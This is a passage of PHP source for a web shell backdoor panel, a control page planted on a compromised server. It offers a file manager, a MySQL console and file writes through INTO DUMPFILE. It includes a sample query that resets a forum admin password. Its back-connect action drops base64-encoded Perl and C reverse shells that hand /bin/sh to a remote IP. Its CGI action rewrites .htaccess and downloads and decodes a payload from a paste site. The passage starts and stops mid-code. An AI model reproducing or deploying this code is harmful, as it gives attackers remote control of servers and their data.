style="margin:10px 0;">  <form action="" method="post" id="godir" name="godir">  <tr>    <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>	<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>    <td nowrap><input class="bt" value="GO" type="submit"></td>  </tr>  </form></table><script type="text/javascript">function createdir(){	var newdirname;	newdirname = prompt('Please input the directory name:', '');	if (!newdirname) return;	$('createdir').newdirname.value=newdirname;	$('createdir').submit();}function fileperm(pfile){	var newperm;	newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');	if (!newperm) return;	$('fileperm').newperm.value=newperm;	$('fileperm').pfile.value=pfile;	$('fileperm').submit();}function copyfile(sname){	var tofile;	tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');	if (!tofile) return;	$('copyfile').tofile.value=tofile;	$('copyfile').sname.value=sname;	$('copyfile').submit();}function rename(oldname){	var newfilename;	newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');	if (!newfilename) return;	$('rename').newfilename.value=newfilename;	$('rename').oldname.value=oldname;	$('rename').submit();}function dofile(doing,thefile,m){	if (m && !confirm(m)) {		return;	}	$('filelist').doing.value=doing;	if (thefile){		$('filelist').thefile.value=thefile;	}	$('filelist').submit();}function createfile(nowpath){	var filename;	filename = prompt('Please input the file name:', '');	if (!filename) return;	opfile('editfile',nowpath + filename,nowpath);}function opfile(action,opfile,dir){	$('fileopform').action.value=action;	$('fileopform').opfile.value=opfile;	$('fileopform').dir.value=dir;	$('fileopform').submit();}function godir(dir,view_writable){	if (view_writable) {		$('godir').view_writable.value=1;	}	$('godir').dir.value=dir;	$('godir').submit();}</script>  <?php	tbhead();	p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');	p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');	p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');	if ($view_writable) {		p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');	} else {		p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');	}	p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');	if (IS_WIN && IS_COM) {		$obj = new COM('scripting.filesystemobject');		if ($obj && is_object($obj)) {			$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');			foreach($obj->Drives as $drive) {				if ($drive->DriveType == 2) {					p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');				} else {					p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');				}			}		}	}	p('</td></tr></form>');	p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');	// Get path	$dirdata=array();	$filedata=array();	if ($view_writable) {		$dirdata = GetList($nowpath);	} else {		// Open dir		$dirs=@opendir($dir);		while ($file=@readdir($dirs)) {			$filepath=$nowpath.$file;			if(@is_dir($filepath)){				$dirdb['filename']=$file;				$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));				$dirdb['dirchmod']=getChmod($filepath);				$dirdb['dirperm']=getPerms($filepath);				$dirdb['fileowner']=getUser($filepath);				$dirdb['dirlink']=$nowpath;				$dirdb['server_link']=$filepath;				$dirdb['client_link']=ue($filepath);				$dirdata[]=$dirdb;			} else {				$filedb['filename']=$file;				$filedb['size']=sizecount(@filesize($filepath));				$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));				$filedb['filechmod']=getChmod($filepath);				$filedb['fileperm']=getPerms($filepath);				$filedb['fileowner']=getUser($filepath);				$filedb['dirlink']=$nowpath;				$filedb['server_link']=$filepath;				$filedb['client_link']=ue($filepath);				$filedata[]=$filedb;			}		}// while		unset($dirdb);		unset($filedb);		@closedir($dirs);	}	@sort($dirdata);	@sort($filedata);	$dir_i = '0';	foreach($dirdata as $key => $dirdb){		if($dirdb['filename']!='..' && $dirdb['filename']!='.') {			$thisbg = bg();			p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');			p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');			p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');			p('<td nowrap>'.$dirdb['mtime'].'</td>');			p('<td nowrap>--</td>');			p('<td nowrap>');			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');			p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');			p('</tr>');			$dir_i++;		} else {			if($dirdb['filename']=='..') {				p('<tr class=fout>');				p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');				p('</tr>');			}		}	}	p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');	p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');	makehide('action','file');	makehide('thefile');	makehide('doing');	makehide('dir',$nowpath);	$file_i = '0';	foreach($filedata as $key => $filedb){		if($filedb['filename']!='..' && $filedb['filename']!='.') {			$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);			$thisbg = bg();			p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');			p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');			p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');			p('<td nowrap>'.$filedb['mtime'].'</td>');			p('<td nowrap>'.$filedb['size'].'</td>');			p('<td nowrap>');			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');			p('<td nowrap>');			p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');			p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');			p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');			p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');			p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');			p('</td></tr>');			$file_i++;		}	}	p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');	p('</form></table>');}// end direlseif ($action == 'sqlfile') {	if($doing=="mysqlupload"){		$file = $_FILES['uploadfile'];		$filename = $file['tmp_name'];		if (file_exists($savepath)) {			m('The goal file has already existed');		} else {			if(!$filename) {				m('Please choose a file');			} else {				$fp=@fopen($filename,'r');				$contents=@fread($fp, filesize($filename));				@fclose($fp);				$contents = bin2hex($contents);				if(!$upname) $upname = $file['name'];				dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);				$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");				m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());			}		}	}?><script type="text/javascript">function mysqlfile(doing){	if(!doing) return;	$('doing').value=doing;	$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;	$('mysqlfile').dbport.value=$('dbinfo').dbport.value;	$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;	$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;	$('mysqlfile').dbname.value=$('dbinfo').dbname.value;	$('mysqlfile').charset.value=$('dbinfo').charset.value;	$('mysqlfile').submit();}</script><?php	!$dbhost && $dbhost = 'localhost';	!$dbuser && $dbuser = 'root';	!$dbport && $dbport = '3306';	$charsets = array(''=>'Default','utf-8'=>'utf-8', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');	formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));	makehide('action','sqlfile');	p('<p>');	p('DBHost:');	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));	p(':');	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));	p('DBUser:');	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));	p('DBPass:');	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));	p('DBName:');	makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));	p('DBCharset:');	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));	p('</p>');	formfoot();	p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');	p('<h2>Upload file</h2>');	p('<p><b>This operation the DB user must has FILE privilege</b></p>');	p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');	p('<h2>Download file</h2>');	p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');	makehide('dbhost');	makehide('dbport');	makehide('dbuser');	makehide('dbpass');	makehide('dbname');	makehide('charset');	makehide('doing');	makehide('action','sqlfile');	p('</form>');}elseif ($action == 'sqladmin') {	!$dbhost && $dbhost = 'localhost';	!$dbuser && $dbuser = 'root';	!$dbport && $dbport = '3306';	$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';	if(isset($dbhost)){		$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";	}	if(isset($dbuser)) {		$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";	}	if(isset($dbpass)) {		$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";	}	if(isset($dbport)) {		$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";	}	if(isset($dbname)) {		$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";	}	if(isset($charset)) {		$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";	}	if ($doing == 'backupmysql' && $saveasfile) {		if (!$table) {			m('Please choose the table');		} else {			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);			$table = array_flip($table);			$fp = @fopen($path,'w');			if ($fp) {				$result = q('SHOW tables');				if (!$result) p('<h2>'.mysql_error().'</h2>');				$mysqldata = '';				while ($currow = mysql_fetch_array($result)) {					if (isset($table[$currow[0]])) {						sqldumptable($currow[0], $fp);					}				}				fclose($fp);				$fileurl = str_replace(SA_ROOT,'',$path);				m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');				mysql_close();			} else {				m('Backup failed');			}		}	}	if ($insert && $insertsql) {		$keystr = $valstr = $tmp = '';		foreach($insertsql as $key => $val) {			if ($val) {				$keystr .= $tmp.$key;				$valstr .= $tmp."'".addslashes($val)."'";				$tmp = ',';			}		}		if ($keystr && $valstr) {			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);			m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());		}	}	if ($update && $insertsql && $base64) {		$valstr = $tmp = '';		foreach($insertsql as $key => $val) {			$valstr .= $tmp.$key."='".addslashes($val)."'";			$tmp = ',';		}		if ($valstr) {			$where = base64_decode($base64);			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);			m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());		}	}	if ($doing == 'del' && $base64) {		$where = base64_decode($base64);		$delete_sql = "DELETE FROM $tablename WHERE $where";		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);		m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());	}	if ($tablename && $doing == 'drop') {		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);		if (q("DROP TABLE $tablename")) {			m('Drop table of success');			$tablename = '';		} else {			m(mysql_error());		}	}	$charsets = array(''=>'Default','utf-8'=>'utf-8', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');	formhead(array('title'=>'MYSQL Manager'));	makehide('action','sqladmin');	p('<p>');	p('DBHost:');	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));	p(':');	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));	p('DBUser:');	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));	p('DBPass:');	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));	p('DBCharset:');	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));	makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));	p('</p>');	formfoot();?><script type="text/javascript">function editrecord(action, base64, tablename){	if (action == 'del') {		if (!confirm('Is or isn\'t deletion record?')) return;	}	$('recordlist').doing.value=action;	$('recordlist').base64.value=base64;	$('recordlist').tablename.value=tablename;	$('recordlist').submit();}function moddbname(dbname) {	if(!dbname) return;	$('setdbname').dbname.value=dbname;	$('setdbname').submit();}function settable(tablename,doing,page) {	if(!tablename) return;	if (doing) {		$('settable').doing.value=doing;	}	if (page) {		$('settable').page.value=page;	}	$('settable').tablename.value=tablename;	$('settable').submit();}</script><?php	// SQL	formhead(array('name'=>'recordlist'));	makehide('doing');	makehide('action','sqladmin');	makehide('base64');	makehide('tablename');	p($dbform);	formfoot();	// Data	formhead(array('name'=>'setdbname'));	makehide('action','sqladmin');	p($dbform);	if (!$dbname) {		makehide('dbname');	}	formfoot();	formhead(array('name'=>'settable'));	makehide('action','sqladmin');	p($dbform);	makehide('tablename');	makehide('page',$page);	makehide('doing');	formfoot();	$cachetables = array();	$pagenum = 30;	$page = intval($page);	if($page) {		$start_limit = ($page - 1) * $pagenum;	} else {		$start_limit = 0;		$page = 1;	}	if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);		// get mysql server		$mysqlver = mysql_get_server_info();		p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');		$highver = $mysqlver > '4.1' ? 1 : 0;		// Show database		$query = q("SHOW DATABASES");		$dbs = array();		$dbs[] = '-- Select a database --';		while($db = mysql_fetch_array($query)) {			$dbs[$db['Database']] = $db['Database'];		}		makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));		$tabledb = array();		if ($dbname) {			p('<p>');			p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');			if ($tablename) {				p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');			}			p('</p>');			mysql_select_db($dbname);			$getnumsql = '';			$runquery = 0;			if ($sql_query) {				$runquery = 1;			}			$allowedit = 0;			if ($tablename && !$sql_query) {				$sql_query = "SELECT * FROM $tablename";				$getnumsql = $sql_query;				$sql_query = $sql_query." LIMIT $start_limit, $pagenum";				$allowedit = 1;			}			p('<form action="'.$self.'" method="POST">');			p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>			</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');			makehide('tablename', $tablename);			makehide('action','sqladmin');			p($dbform);			p('</form>');			if ($tablename || ($runquery && $sql_query)) {				if ($doing == 'structure') {					$result = q("SHOW COLUMNS FROM $tablename");					$rowdb = array();					while($row = mysql_fetch_array($result)) {						$rowdb[] = $row;					}					p('<table border="0" cellpadding="3" cellspacing="0">');					p('<tr class="head">');					p('<td>Field</td>');					p('<td>Type</td>');					p('<td>Null</td>');					p('<td>Key</td>');					p('<td>Default</td>');					p('<td>Extra</td>');					p('</tr>');					foreach ($rowdb as $row) {						$thisbg = bg();						p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');						p('<td>'.$row['Field'].'</td>');						p('<td>'.$row['Type'].'</td>');						p('<td>'.$row['Null'].'&nbsp;</td>');						p('<td>'.$row['Key'].'&nbsp;</td>');						p('<td>'.$row['Default'].'&nbsp;</td>');						p('<td>'.$row['Extra'].'&nbsp;</td>');						p('</tr>');					}					tbfoot();				} elseif ($doing == 'insert' || $doing == 'edit') {					$result = q('SHOW COLUMNS FROM '.$tablename);					while ($row = mysql_fetch_array($result)) {						$rowdb[] = $row;					}					$rs = array();					if ($doing == 'insert') {						p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');					} else {						p('<h2>Update record in '.$tablename.' table &raquo;</h2>');						$where = base64_decode($base64);						$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");						$rs = mysql_fetch_array($result);					}					p('<form method="post" action="'.$self.'">');					p($dbform);					makehide('action','sqladmin');					makehide('tablename',$tablename);					p('<table border="0" cellpadding="3" cellspacing="0">');					foreach ($rowdb as $row) {						if ($rs[$row['Field']]) {							$value = htmlspecialchars($rs[$row['Field']]);						} else {							$value = '';						}						$thisbg = bg();						p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');						p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');					}					if ($doing == 'insert') {						p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');					} else {						p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');						makehide('base64', $base64);					}					p('</table></form>');				} else {					$querys = @explode(';',$sql_query);					foreach($querys as $num=>$query) {						if ($query) {							p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");							switch(qy($query))							{								case 0:									p('<h2>Error : '.mysql_error().'</h2>');									break;								case 1:									if (strtolower(substr($query,0,13)) == 'select * from') {										$allowedit = 1;									}									if ($getnumsql) {										$tatol = mysql_num_rows(q($getnumsql));										$multipage = multi($tatol, $pagenum, $page, $tablename);									}									if (!$tablename) {										$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));										$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);										preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);										$tablename = $matches[1][0];									}									$result = q($query);									p($multipage);									p('<table border="0" cellpadding="3" cellspacing="0">');									p('<tr class="head">');									if ($allowedit) p('<td>Action</td>');									$fieldnum = @mysql_num_fields($result);									for($i=0;$i<$fieldnum;$i++){										$name = @mysql_field_name($result, $i);										$type = @mysql_field_type($result, $i);										$len = @mysql_field_len($result, $i);										p("<td nowrap>$name<br><span>$type($len)</span></td>");									}									p('</tr>');									while($mn = @mysql_fetch_assoc($result)){										$thisbg = bg();										p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');										$where = $tmp = $b1 = '';										foreach($mn as $key=>$inside){											if ($inside) {												$where .= $tmp.$key."='".addslashes($inside)."'";												$tmp = ' AND ';											}											$b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';										}										$where = base64_encode($where);										if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');										p($b1);										p('</tr>');										unset($b1);									}									tbfoot();									p($multipage);									break;								case 2:									$ar = mysql_affected_rows();									p('<h2>affected rows : <b>'.$ar.'</b></h2>');									break;							}						}					}				}			} else {				$query = q("SHOW TABLE STATUS");				$table_num = $table_rows = $data_size = 0;				$tabledb = array();				while($table = mysql_fetch_array($query)) {					$data_size = $data_size + $table['Data_length'];					$table_rows = $table_rows + $table['Rows'];					$table['Data_length'] = sizecount($table['Data_length']);					$table_num++;					$tabledb[] = $table;				}				$data_size = sizecount($data_size);				unset($table);				p('<table border="0" cellpadding="0" cellspacing="0">');				p('<form action="'.$self.'" method="POST">');				makehide('action','sqladmin');				p($dbform);				p('<tr class="head">');				p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');				p('<td>Name</td>');				p('<td>Rows</td>');				p('<td>Data_length</td>');				p('<td>Create_time</td>');				p('<td>Update_time</td>');				if ($highver) {					p('<td>Engine</td>');					p('<td>Collation</td>');				}				p('</tr>');				foreach ($tabledb as $key => $table) {					$thisbg = bg();					p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');					p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');					p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');					p('<td>'.$table['Rows'].'</td>');					p('<td>'.$table['Data_length'].'</td>');					p('<td>'.$table['Create_time'].'</td>');					p('<td>'.$table['Update_time'].'</td>');					if ($highver) {						p('<td>'.$table['Engine'].'</td>');						p('<td>'.$table['Collation'].'</td>');					}					p('</tr>');				}				p('<tr class=fout>');				p('<td>&nbsp;</td>');				p('<td>Total tables: '.$table_num.'</td>');				p('<td>'.$table_rows.'</td>');				p('<td>'.$data_size.'</td>');				p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');				p('</tr>');				p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");				makehide('doing','backupmysql');				formfoot();				p("</table>");				fr($query);			}		}	}	tbfoot();	@mysql_close();}//end sql backupelseif ($action == 'backconnect') {	!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];	!$yourport && $yourport = '12345';	$usedb = array('perl'=>'perl','c'=>'c');	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";	if ($start && $yourip && $yourport && $use){		if ($use == 'perl') {			cf('/tmp/angel_bc',$back_connect);			$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");		} else {			cf('/tmp/angel_bc.c',$back_connect_c);			$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');			@unlink('/tmp/angel_bc.c');			$res = execute("/tmp/angel_bc $yourip $yourport &");		}		m("Now script try connect to $yourip port $yourport ...");	}	formhead(array('title'=>'Back Connect'));	makehide('action','backconnect');	p('<p>');	p('Your IP:');	makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));	p('Your Port:');	makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));	p('Use:');	makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));	makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));	p('</p>');	formfoot();}//end backconnect window via NC//CGI Shell      elseif ($action == 'cgi') {    mkdir('error', 0755);    chdir('error');    $kokdosya = ".htaccess";    $dosya_adi = "$kokdosya";    $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");    $metin = "Options +FollowSymLinks +IndexesDirectoryIndex default.html ## START ##Options +ExecCGIAddHandler cgi-script log cgi pl tg love h4 tgb x-zone AddType application/x-httpd-php .jpgRewriteEngine onRewriteRule (.*)\.war$ .log## END ##";    fwrite($dosya, $metin);    fclose($dosya);    $perltoolss = file_get_contents('https://ghostbin.com/paste/26353/raw');    $file = fopen("error.log", "w+");    $write = fwrite($file, base64_decode($perltoolss));    fclose($file);    chmod("error.log", 0755);    echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe> ";}//end CGI//NewCommandelseif ($action == 'newcommand') {    $file       = fopen($dir . "command.php", "w+");    $perltoolss = 